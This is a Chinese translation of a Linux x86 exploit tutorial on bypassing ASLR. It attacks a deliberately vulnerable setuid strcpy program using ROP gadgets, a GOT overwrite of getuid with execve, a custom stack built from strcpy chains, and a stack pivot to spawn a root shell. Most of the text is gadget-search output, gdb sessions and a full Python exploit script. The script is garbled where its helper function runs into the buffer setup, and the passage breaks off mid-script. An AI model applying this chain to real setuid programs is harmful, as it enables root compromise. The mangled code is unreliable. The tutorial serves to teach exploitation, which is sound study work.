Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
2017-05-01 21:13
603 查看
绕过 ASLR – 第三部分
译者:飞龙原文:Bypassing ASLR – Part III
预备条件:
经典的基于栈的溢出
绕过 ASLR – 第一部分
VM 配置:Ubuntu 12.04 (x86)
在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧。来绕过共享库地址随机化。我们在第一部分中提到过,即使可执行文件没有所需的 PLT 桩代码,攻击者也可以使用 GOT 覆盖和解引用技巧来绕过 ASLR。
漏洞代码:
// vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> int main (int argc, char **argv) { char buf[256]; int i; seteuid(getuid()); if(argc < 2) { puts("Need an argument\n"); exit(-1); } strcpy(buf, argv[1]); printf("%s\nLen:%d\n", buf, (int)strlen(buf)); return 0; }
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space $gcc -fno-stack-protector -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
注意:
system@PLT并没有在我们的可执行文件
vuln中出现。
字符串
sh也没有在我们的可执行文件
vuln中出现。
什么是 GOT 覆盖?
这个技巧帮助攻击者,将特定 Libc 函数的 GOT 条目覆盖为另一个 Libc 函数的地址(在第一次调用之后)。但是它也可以覆盖为
execve函数的地址 – 当偏移差加到
GOT[getuid]的时候。我们已经知道了,在共享库中,函数距离其基址的偏移永远是固定的。所以,如果我们将两个 Libc 函数的差值(
execve和
getuid)加到
getuid的 GOT 条目,我们就得到了
execve函数的地址。之后,调用
getuid就会调用
execve。
offset_diff = execve_addr - getuid_addr GOT[getuid] = GOT[getuid] + offset_diff
什么是 GOT 解引用?
这个技巧类似于 GOT 覆盖,但是这里不会覆盖特定 Libc 函数的 GOT 条目,而是将它的值复制到寄存器中,并将偏移差加到寄存器的内容。因此,寄存器就含有所需的 Libc 函数地址。例如,
GOT[getuid]包含
getuid的函数地址,将其复制到寄存器。两个 Libc 函数(
execve和
getuid)的偏移差加到寄存器的内容。现在跳到寄存器的值就调用了
execve。
offset_diff = execve_addr - getuid_addr eax = GOT[getuid] eax = eax + offset_diff
这两个技巧看起来类似,但是当缓冲区溢出发生时,如何在运行时期执行这些操作呢?我们需要识别出一个函数(它执行这些加法,并将结果复制到寄存器),并跳到特定的函数来完成 GOT 覆盖或解引用。但是很显然,没有单一的函数(不在 Libc 也不在我们的可执行文件中)能够为我们做这些。这里我们使用 ROP。
什么是 ROP?
ROP 是个技巧,其中攻击者一旦得到了调用栈的控制之后,他就可以执行精心构造的机器指令,来执行它所需的操作,即使没有直接的方式。例如,在 return-to-libc 攻击中,我们将返回地址覆盖为
system的地址,来执行
system。但是如果
system(以及
execve函数族)从 Libc 共享库中溢出了,攻击者就不能获得 root shell。这时,ROP 就可以拯救攻击者。在这个技巧中,即使任何所需的 Libc 函数都不存在,攻击者可以通过执行一系列的零件(gadget),来模拟所需的 Libc 函数。
什么是零件?
零件是一系列汇编指令,它们以
ret汇编指令结尾。攻击者使用零件地址来覆盖返回地址,这个零件包含一系列汇编指令,它们类似于
system开头的一些汇编指令。所以,返回到这个零件地址,就可以执行一部分
system的功能。
system功能的剩余部分,通过返回到一些其他零件来完成。由此,链接一系列的零件可以模拟
system的功能。因此
system即使移除了也能够执行。
但是如何在可执行文件中找到可用的零件?
可以使用零件工具来寻找。有很多工具,例如 ropeme、ROPgadget、rp++,它们有助于攻击者在二进制中寻找零件。这些工具大多都寻找
ret指令,之后往回看来寻找实用的机器指令序列。
在我们这里,我们并不需要使用 ROP 零件俩模拟任何 Libc 函数,反之,我们需要覆盖 Libc 函数的 GOT 条目,或者确保任何寄存器指向 Libc 函数地址。让我们看看如何使用 ROP 零件来完成 GOT 覆盖和解引用吧。
使用 ROP 的 GOT 覆盖
零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid]上。所以让我们寻找一个
add零件,它将结果复制到内存区域中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 65 found. A total of 65 gadgets found. ... 0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found) 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found) ... $
好的。我们找到了一个
add零件,它将结果复制到内存区域中。现在如果我们可以使 EBX 包含
GOT[getuid] - 0x5d5b04c4,并使 EAX 包含偏移差,我们就可以成功执行 GOT 覆盖。
零件 2:确保 EBX 包含
getuid的 GOT 条目。
getuid的 GOT 条目(在下面展示)位于
0x804a004。因此 EBX 应该为
0x804a004,但是由于
add零件中,固定值
0x5d5b04c4加到了 EBX,所以 EBX 应减去这个固定值,也就是
ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40。现在我们需要寻找一个零件,它将这个值
0xaaa99b40复制到 EBX 寄存器中。
$ objdump -R vuln vuln: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT printf 0804a004 R_386_JUMP_SLOT getuid ... $ ~/roptools/rp++ --atsyntax -f ./vuln -r 1 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 65 found. A total of 65 gadgets found. ... 0x08048618: popl %ebp ; ret ; (1 found) 0x08048380: popl %ebx ; ret ; (1 found) 0x08048634: popl %ebx ; ret ; (1 found) ... $
好的,我们找到了
pop ebx零件。因此将该值
0xaaa99b40压入栈,并返回到
pop ebx之后, EBX 包含
0xaaa99b40。
零件 3:确保 EAX 包含偏移差。因此我们需要找到一个零件,它将偏移差复制到 EAX 寄存器中。
$ gdb -q vuln ... (gdb) p execve $1 = {} 0xb761a1f0 (gdb) p getuid $2 = {} 0xb761acc0 (gdb) p/x execve - getuid $4 = 0xfffff530 (gdb) ... $ ~/roptools/rp++ --atsyntax -f ./vuln -r 1 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 65 found. A total of 65 gadgets found. ... 0x080484a3: popl %ebp ; ret ; (1 found) 0x080485cf: popl %ebp ; ret ; (1 found) 0x08048618: popl %ebp ; ret ; (1 found) 0x08048380: popl %ebx ; ret ; (1 found) 0x08048634: popl %ebx ; ret ; (1 found) ... $
因此将偏移差
0xfffff530压入栈中,并返回到
pop eax指令,将偏移差复制给 EAX。但是不幸的是,在我们的二进制
vuln中,我们不能找到
popl %eax; ret;零件。因此 GOT 覆盖是不可能的。
栈布局:下面的图片描述了用于完成 GOT 覆盖的零件链。
使用 ROP 的 GOT 解引用
零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid],并且它的结果需要加载到寄存器中。所以让我们寻找一个
add零件,它将结果复制到寄存器中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 166 found. A total of 166 gadgets found. ... 0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found) 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found) 0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found) 0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found) ... $
好的。我们找到一个
add零件,它将结果复制到寄存器中。现在如果我们可以使 EBX 包含
GOT[getuid] + 0xb8a0008,并使 EAX 包含偏移差,我们就可以成功执行 GOT 解引用。
零件 2:我们在 GOT 覆盖中看到,可执行文件
vuln中找到了
pop %ebx; ret;。
零件 3:我们在 GOT 覆盖中看到,可执行文件
vuln中没有找到
pop %eax; ret;。
零件 4:通过调用寄存器来调用
execve。因此我们需要
call *eax零件。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 65 found. A total of 65 gadgets found. ... 0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found) 0x080484cf: calll *%eax ; (1 found) 0x0804860b: calll *%eax ; (1 found) ... $
好的。我们发现了
call *eax零件。但是还是因为零件 3
popl %eax; ret;没有找到,GOT 解引用也是无法实现的。
栈布局:下面的图片描述了用于完成 GOT 解引用的零件链:
在似乎没有更多方法时(至少对于我来说,当我开始了解 ROP 的时候),Reno 向我介绍了下面的解法,通过手动搜索 ROP 零件。非常感谢,所以继续吧。
手动搜索 ROP 零件
由于 ROP 零件工具不能找到pop eax;ret;零件,让我们手动搜索来寻找,是否能找到任何有趣的零件,能够帮助我们将偏移差复制给 EAX 寄存器。
反汇编二进制
vuln(使用下面的命令):
$objdump -d vuln > out
零件 4:使用偏移差
0xfffff530加载 EAX。反汇编展示了一个 MOV 指令,它将栈内容复制给 EAX:
80485b3: mov 0x34(%esp),%eax 80485b7: mov %eax,0x4(%esp) 80485bb: call *-0xe0(%ebx,%esi,4) 80485c2: add $0x1,%esi 80485c5: cmp %edi,%esi 80485c7: jne 80485a8 <__libc_csu_init+0x38> 80485c9: add $0x1c,%esp 80485cc: pop %ebx 80485cd: pop %esi 80485ce: pop %edi 80485cf: pop %ebp 80485d0: ret
但是
ret(
0x80485d0)看起来离这个指令(
0x80485b3)很远。所以这里的挑战是,在
ret指令之前,我们需要保证 EAX 不被修改。
不修改 EAX:
这里让我们看看如何使 EAX 在
ret指令(
0x80485d0)之前不被修改。这是一个调用指令(
0x80485bb),所以让我们用这种方式来加载 EBX 和 ESI,就是调用指令会调用一个函数,它不修改 EAX。
_fini看起来不修改 EAX。
0804861c <_fini>: 804861c: push %ebx 804861d: sub $0x8,%esp 8048620: call 8048625 <_fini+0x9> 8048625: pop %ebx 8048626: add $0x19cf,%ebx 804862c: call 8048450 <__do_global_dtors_aux> 8048631: add $0x8,%esp 8048634: pop %ebx 8048635: ret 08048450 <__do_global_dtors_aux>: 8048450: push %ebp 8048451: mov %esp,%ebp 8048453: push %ebx 8048454: sub $0x4,%esp 8048457: cmpb $0x0,0x804a028 804845e: jne 804849f <__do_global_dtors_aux+0x4f> ... 804849f: add $0x4,%esp 80484a2: pop %ebx 80484a3: pop %ebp 80484a4: ret
_fini调用了
_do_global_dtors_aux,在我们将内存地址
0x804a028设为 1 的时候,这里 EAX 可以可以保留下来。
为了调用
_fini,EBX 和 ESI 的值是什么呢?
首先我们需要寻找一个内存地址,它包含
_fini的地址
0x804861c。像下面展示的那样,内存地址
0x8049f3c包含了
_fini地址。
0x8049f28 : 0x00000001 0x00000010 0x0000000c 0x08048354 0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac 0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
将 ESI 设为
0x01020101。推荐这个值,因为我们不能将其设为
0x0,它是
strcpy的漏洞代码,零是坏字符。同样,确保产生的值(储存在 EBX 中)也不包含零。
像下面那样设置 EBX:
ebx+esi*4-0xe0 = 0x8049f3c ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0 ebx = 0x3fc9c18
因此,我们发现,为了调用
_fini,我们需要确保 EBX 和 ESI 分别加载为
0x3fc9c18和
0x01020101。
同样确保 EAX 不要在
_fini的返回处(
0x8048635)和返回指令(
0x80485d0)之间修改。这可以通过设置
edi = esi + 1来实现。如果设置了
edi = esi + 1,跳转指令
0x80485c7就会确保控制流跳转到
0x80485c9的指令。之后我们可以看到,
0x80485c9指令到返回指令(
0x80485d0)之间,EAX 都不会改动。
零件 5:将 EBX 加载为
0x3fc9c18:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 65 found. A total of 65 gadgets found. ... 0x08048618: popl %ebp ; ret ; (1 found) 0x08048380: popl %ebx ; ret ; (1 found) 0x08048634: popl %ebx ; ret ; (1 found) ... $
零件 6:将 ESI 加载为
0x01020101,EDI 加载为
0x01020102:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 135 found. A total of 135 gadgets found. ... 0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found) 0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found) 0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found) ... $
零件 7:将
0x1复制到内存地址
0x804a028:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5 Trying to open './vuln'.. Loading ELF information.. FileFormat: Elf, Arch: Ia32 Using the AT&T syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 183 found. A total of 183 gadgets found. ... 0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found) 0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found) 0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found) ... $
现在我们完成了零件的搜索。让我们开始游戏吧!
零件搜索总结
为了零件 1 的成功调用,我们需要零件 2 和 3。由于零件 3 不存在,我们执行手动搜索,并找到了零件 4、5、6 和 7。
为了零件 4 的成功调用,我们需要零件 5、6 和 7。
利用代码
下面的利用代码使用execve函数地址覆盖了
GOT[getuid]:
#!/usr/bin/env python import struct from subprocess import call ''' G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; G2: 0x080484a2: popl %ebx ; pop ebp; ret ; G3: 0x????????: popl %eax ; ret ; (NOT found) G4: 0x080485b3: mov 0x34(%esp),%eax... G5: 0x08048380: pop ebx ; ret ; G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ; G7: 0x08048498: movb $0x1,0x804a028... ''' g1 = 0x0804849e g2 = 0x080484a2 g4 = 0x080485b3 g5 = 0x08048380 g6 = 0x080485cd g7 = 0x08048498 dummy = 0xdeadbeef esi = 0x01020101 edi = 0x01020102 ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0 off = 0xfffff530 #endianess convertion def conv(num): return struct.pack("<I",num* 268 #Junk buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret; buf += conv(dummy) buf += conv(dummy) buf += conv(dummy) buf += conv(g6) #pop esi; pop edi; pop ebp; ret; buf += conv(esi) #esi buf += conv(edi) #edi buf += conv(dummy) buf += conv(g5) #pop ebx; ret; buf += conv(ebx) #ebx buf += conv(g4) #mov 0x34(%esp),%eax; ... for num in range(0,11): buf += conv(dummy) buf += conv(g2) #pop ebx; pop ebp; ret; ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4 buf += conv(ebx) buf += conv(off) buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret; buf += "B" * 4 print "Calling vulnerable program" call(["./vuln", buf])
执行上面的利用代码会生成核心文件。打开核心文件来查看
GOT[getuid]被
execve函数地址覆盖(在下面展示):
$ python oexp.py Calling vulnerable program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB Len:376 sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done. (gdb) core-file core [New LWP 18781] warning: Can't read pathname for load map: Input/output error. Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) x/1xw 0x804a004 0x804a004 <getuid@got.plt>: 0xb761a1f0 (gdb) p getuid $1 = {} 0xb761acc0 (gdb) p execve $2 = {} 0xb761a1f0 (gdb)
好的,我们已经成功将
getuid的 GOT 条目覆盖为
execve的地址。因为现在为止,任何
getuid的调用都会调用
execve。
派生 root shell
我们的利用还没完,我们刚刚执行了 GOT 覆盖,还需要派生出 root shell。为了派生 root shell,将下面的 Libc 函数(以及它们的参数)复制到栈上。seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
其中:
setuid@PLT:
setuid的 PLT 代码地址(
0x80483c0)。
getuid@PLT:
getuid的 PLT 代码地址(
0x80483b0),但是这回调用
execve,因为我们已经执行了 GOT 覆盖。
seteuid_arg应该为 0 来获得 root shell。
execve_arg1– 文件名称 – 字符串
/bin/sh的地址。
execve_arg2–
argv– 参数数组的地址,它的内容是
[Address of “/bin/sh”, NULL]。
execve_arg3–
envp–
NULL。
我们在第五篇中看到,因为我们不能直接使用 0 来溢出缓冲区(因为 0 是坏字符),我们可以使用
strcpy链来复制 0 代替
seteuid_arg。但是这个解法不能在这里使用,因为栈是随机化的,知道
seteuid_arg的栈上位置的准确地址十分困难。
如何绕过栈地址随机化?
可以使用自定义栈和 stack pivot 技巧来绕过它。
什么是自定义栈?
自定义栈是由攻击者控制的栈区域。它复制 Libc 函数链,以及函数参数来绕过栈随机化。由于攻击者选择了任何非位置独立和可写的进程的内存区域作为自定义栈,所以可以绕过。在我们的二进制
vuln中,可写和非位置独立的内存区域,是
0x804a000和
0x804b000(在下面展示):
$ cat /proc//maps 08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln 08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln 0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln b7e21000-b7e22000 rw-p 00000000 00:00 0 b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so b7fc8000-b7fcb000 rw-p 00000000 00:00 0 b7fdb000-b7fdd000 rw-p 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] $
例如,包含
.data和
.bss段的内存区域可以用作自定义栈位置。我选择了
0x804a360作为自定义栈位置。
现在选择自定义栈位置之后,我们需要将 Libc 函数链以及它们的函数复制到自定义栈中。我们这里,将下面的 Libc 函数(以及它们的参数)复制到自定义栈位置,以便派生 root shell。
seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
为了将这些内容复制到栈上,我们需要将实际栈的返回地址,覆盖为一系列
strcpy调用。例如,为了将
seteuid@PLT (0x80483c0)复制到自定义栈上,我们需要:
四个
strcpy调用 – 每个十六进制值(
0x08, 0x04, 0x83, 0xc0)使用一个
strcpy调用。
strcpy的来源参数应该是可执行内存区域的地址,它包含所需的十六进制值,并且我们也需要确保这个值不被改动,它在所选的内存区域存在。
strcpy的目标参数应该是自定义栈位置的目标地址。
遵循上面的过程,我们就建立了完整的自定义栈。一旦自定义栈建立完成,我们需要将自定义栈移动到真实的栈上,使用 stack pivot 技巧。
什么是 stack pivot?
stack pivot 使用
leave ret指令来实现。我们已经知道了,
leave指令会翻译为:
mov ebp, esp pop ebp
所以在
leave指令之前,使用自定义栈地址来加载 EBP – 当
leave指令执行时,会使 ESP 指向 EBP。所以,在转移到自定义栈之后,我们会继续执行一 Libc 函数序列,它们加载到了自定义栈上,然后就获得了 root shell。
完整的利用代码
#exp.py #!/usr/bin/env python import struct from subprocess import call #GOT overwrite using ROP gadgets ''' G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; G2: 0x080484a2: popl %ebx ; pop ebp; ret ; G3: 0x????????: popl %eax ; ret ; (NOT found) G4: 0x080485b3: mov 0x34(%esp),%eax... G5: 0x08048380: pop ebx ; ret ; G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ; G7: 0x08048498: movb $0x1,0x804a028... ''' g1 = 0x0804849e g2 = 0x080484a2 g4 = 0x080485b3 g5 = 0x08048380 g6 = 0x080485cd g7 = 0x08048498 dummy = 0xdeadbeef esi = 0x01020101 edi = 0x01020102 ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0 off = 0xfffff530 #Custom Stack #0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3 cust_esp = 0x804a360 #Custom stack base address cust_base_esp = 0x804a360 #Custom stack base address #seteuid@PLT 0x80483c0 seteuid_oct1 = 0x8048143 #08 seteuid_oct2 = 0x8048130 #04 seteuid_oct3 = 0x8048355 #83 seteuid_oct4 = 0x80481cb #c0 #getuid@PLT 0x80483b0 getuid_oct1 = 0x8048143 #08 getuid_oct2 = 0x8048130 #04 getuid_oct3 = 0x8048355 #83 getuid_oct4 = 0x80483dc #b0 #seteuid_arg 0x00000000 seteuid_null_arg = 0x804a360 #execve_arg1 0x804ac60 execve_arg1_oct1 = 0x8048143 #08 execve_arg1_oct2 = 0x8048130 #04 execve_arg1_oct3 = 0x8048f44 #AC execve_arg1_oct4 = 0x804819a #60 #execve_arg2 0x804ac68 execve_arg2_oct1 = 0x8048143 #08 execve_arg2_oct2 = 0x8048130 #04 execve_arg2_oct3 = 0x8048f44 #AC execve_arg2_oct4 = 0x80483a6 #68 #execve_arg3 0x00000000 execve_null_arg = 0x804a360 execve_path_dst = 0x804ac60 #Custom stack location which contains execve_path "/bin/sh" execve_path_oct1 = 0x8048154 #/ execve_path_oct2 = 0x8048157 #b execve_path_oct3 = 0x8048156 #i execve_path_oct4 = 0x804815e #n execve_path_oct5 = 0x8048162 #s execve_path_oct6 = 0x80483a6 #h execve_argv_dst = 0x804ac68 #Custom stack location which contains execve_argv [0x804ac60, 0x0] execve_argv1_oct1 = 0x8048143 #08 execve_argv1_oct2 = 0x8048130 #04 execve_argv1_oct3 = 0x8048f44 #AC execve_argv1_oct4 = 0x804819a #60 strcpy_plt = 0x80483d0 #strcpy@PLT ppr_addr = 0x080485ce #popl %edi ; popl %ebp ; ret ; #Stack Pivot pr_addr = 0x080484a3 #popl %ebp ; ret ; lr_addr = 0x08048569 #leave ; ret ; #endianess convertion def conv(num): return struct.pack("<I",num* 268 #Junk buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret; buf += conv(dummy) buf += conv(dummy) buf += conv(dummy) buf += conv(g6) #pop esi; pop edi; pop ebp; ret; buf += conv(esi) #esi buf += conv(edi) #edi buf += conv(dummy) buf += conv(g5) #pop ebx; ret; buf += conv(ebx) #ebx buf += conv(g4) #mov 0x34(%esp),%eax; ... for num in range(0,11): buf += conv(dummy) buf += conv(g2) #pop ebx; pop ebp; ret; ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4 buf += conv(ebx) buf += conv(off) buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret; #Custom Stack #Below stack frames are for strcpy (to copy seteuid@PLT to custom stack) cust_esp += 4 #Increment by 4 to get past Dummy EBP. buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_oct4) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_oct3) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_oct2) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_oct1) #Below stack frames are for strcpy (to copy getuid@PLT to custom stack) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(getuid_oct4) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(getuid_oct3) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(getuid_oct2) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(getuid_oct1) #Below stack frames are for strcpy (to copy seteuid arg to custom stack) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(seteuid_null_arg) #Below stack frames are for strcpy (to copy execve_arg1 to custom stack) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg1_oct4) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg1_oct3) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg1_oct2) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg1_oct1) #Below stack frames are for strcpy (to copy execve_arg2 to custom stack) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg2_oct4) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg2_oct3) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg2_oct2) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_arg2_oct1) #Below stack frames are for strcpy (to copy execve_arg3 to custom stack) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_null_arg) cust_esp += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(cust_esp) buf += conv(execve_null_arg) #Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60) buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct1) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct2) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct3) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct4) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct1) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct5) execve_path_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_path_dst) buf += conv(execve_path_oct6) #Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68) buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_argv1_oct4) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_argv1_oct3) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_argv1_oct2) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_argv1_oct1) #Below stack frame is for strcpy (to copy execve argv[1] (0x0) to 